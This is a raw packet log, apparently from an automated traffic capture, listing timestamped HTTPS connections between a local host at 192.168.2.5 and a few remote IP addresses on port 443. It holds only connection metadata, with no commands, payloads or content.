Oct 26, 2024 13:49:12.280533075 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.280646086 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.280656099 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.280745029 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.280751944 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.312510014 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.312582016 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.312870979 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.312911987 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.312932014 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.312944889 CEST	49813	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.312951088 CEST	443	49813	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.315568924 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.315601110 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.315773964 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.316015005 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.316025972 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.334955931 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.335022926 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.335104942 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.335354090 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.335375071 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.335387945 CEST	49814	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.335396051 CEST	443	49814	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.339658976 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.339706898 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.340013981 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.340466976 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:12.340480089 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:12.996325970 CEST	49821	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:12.996409893 CEST	443	49821	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:12.996515036 CEST	49821	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:12.997364998 CEST	49821	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:12.997411013 CEST	443	49821	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:13.005007982 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.006680012 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.006712914 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.008560896 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.008579016 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.017710924 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.019109011 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.019129992 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.020812035 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.020822048 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.056452036 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.056895018 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.057610035 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.057626009 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.059396029 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.059401989 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.060394049 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.060436010 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.061598063 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.061604023 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.099303961 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.103964090 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.103995085 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.105467081 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.105475903 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.134963989 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.135180950 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.137085915 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.139888048 CEST	49816	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.139959097 CEST	443	49816	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.144793034 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.144870996 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.145117044 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.145364046 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.145385981 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.150319099 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.150468111 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.150532961 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.150728941 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.150742054 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.150754929 CEST	49817	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.150762081 CEST	443	49817	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.155133963 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.155180931 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.155293941 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.155684948 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.155708075 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.186635017 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.186724901 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.186964989 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.187088966 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.187104940 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.187119007 CEST	49819	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.187124014 CEST	443	49819	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.190784931 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.191113949 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.191181898 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.192965031 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.193005085 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.193156004 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.193566084 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.193566084 CEST	49818	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.193639994 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.193667889 CEST	443	49818	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.198522091 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.198570013 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.198628902 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.198821068 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.198839903 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.199213028 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.199242115 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.233876944 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.234261990 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.234347105 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.234477997 CEST	49820	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.234524012 CEST	443	49820	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.242836952 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.242892027 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.243038893 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.247262955 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.247291088 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.849920988 CEST	443	49821	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:13.850219011 CEST	49821	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:13.850248098 CEST	443	49821	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:13.850588083 CEST	443	49821	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:13.850936890 CEST	49821	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:13.850989103 CEST	443	49821	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:13.851135015 CEST	49821	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:13.883804083 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.884311914 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.884356022 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.884808064 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.884819031 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.895343065 CEST	443	49821	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:13.905054092 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.905484915 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.905505896 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.906059027 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.906064987 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.930993080 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.931523085 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.931555986 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.931941986 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.931948900 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.955734015 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.956126928 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.956149101 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.956554890 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.956559896 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.986182928 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.986613989 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.986628056 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:13.987072945 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:13.987078905 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.016913891 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.017131090 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.017214060 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.017329931 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.017329931 CEST	49822	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.017379999 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.017410994 CEST	443	49822	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.020195007 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.020287037 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.020386934 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.020550013 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.020572901 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.039844990 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.039902925 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.040004015 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.040229082 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.040229082 CEST	49823	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.040256977 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.040268898 CEST	443	49823	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.042949915 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.042987108 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.043277979 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.043448925 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.043462038 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.061738014 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.062060118 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.062134981 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.062218904 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.062218904 CEST	49825	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.062264919 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.062293053 CEST	443	49825	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.065247059 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.065289974 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.065361023 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.065551043 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.065562010 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.109297037 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.109308958 CEST	443	49821	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:14.109385967 CEST	443	49821	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:14.109437943 CEST	49821	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:14.109745026 CEST	49821	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:14.109762907 CEST	443	49821	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:14.114706993 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.114783049 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.115015984 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.115015984 CEST	49824	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.115039110 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.115058899 CEST	443	49824	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.117393970 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.117439985 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.117598057 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.117777109 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.117789030 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.117808104 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.117872000 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.117981911 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.118052006 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.118052006 CEST	49826	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.118072033 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.118078947 CEST	443	49826	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.119918108 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.119940996 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.120187998 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.120300055 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.120304108 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.748842001 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.749643087 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.749669075 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.750391006 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.750396013 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.797832012 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.798465014 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.798479080 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.799457073 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.799460888 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.809726000 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.810523033 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.810548067 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.811383963 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.811391115 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.855125904 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.867813110 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.867841959 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.869291067 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.869297981 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.873503923 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.874538898 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.874558926 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.875581026 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.875587940 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.878715992 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.878881931 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.878964901 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.879126072 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.879126072 CEST	49827	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.879192114 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.879208088 CEST	443	49827	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.883728027 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.883768082 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.883928061 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.884280920 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.884305954 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.931968927 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.932040930 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.932459116 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.933290958 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.933290958 CEST	49828	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.933314085 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.933326006 CEST	443	49828	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.937959909 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.938002110 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.938097954 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.938622952 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.938635111 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.942027092 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.942058086 CEST	49834	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:14.942082882 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.942099094 CEST	443	49834	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:14.942147017 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.942394018 CEST	49834	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:14.942476988 CEST	49834	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:14.942487955 CEST	443	49834	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:14.942554951 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.942574024 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.942595005 CEST	49829	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.942600965 CEST	443	49829	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.950186968 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.950201035 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.950287104 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.951060057 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.951067924 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.995094061 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.995258093 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.995317936 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.996192932 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.996200085 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:14.996216059 CEST	49831	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:14.996220112 CEST	443	49831	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.004318953 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.004367113 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.004736900 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.005018950 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.005038977 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.005227089 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.005311012 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.005415916 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.005672932 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.005691051 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.005712032 CEST	49830	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.005717039 CEST	443	49830	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.009074926 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.009102106 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.009350061 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.009393930 CEST	49837	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.009402037 CEST	443	49837	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.612828016 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.613349915 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.613373041 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.613797903 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.613806963 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.673173904 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.673731089 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.673748970 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.674191952 CEST	49835	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.674199104 CEST	443	49835	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.690891027 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.691361904 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.691380024 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.691839933 CEST	49833	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.691843987 CEST	443	49833	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.738429070 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.738922119 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.739001036 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.739384890 CEST	49836	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.739403963 CEST	443	49836	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.743499041 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.743627071 CEST	443	49832	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.743743896 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.743743896 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.743743896 CEST	49832	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.746396065 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.746474028 CEST	443	49838	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:15.746555090 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.746695042 CEST	49838	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:15.746726990 CEST	443	49838	13.107.246.60	192.168.2.5
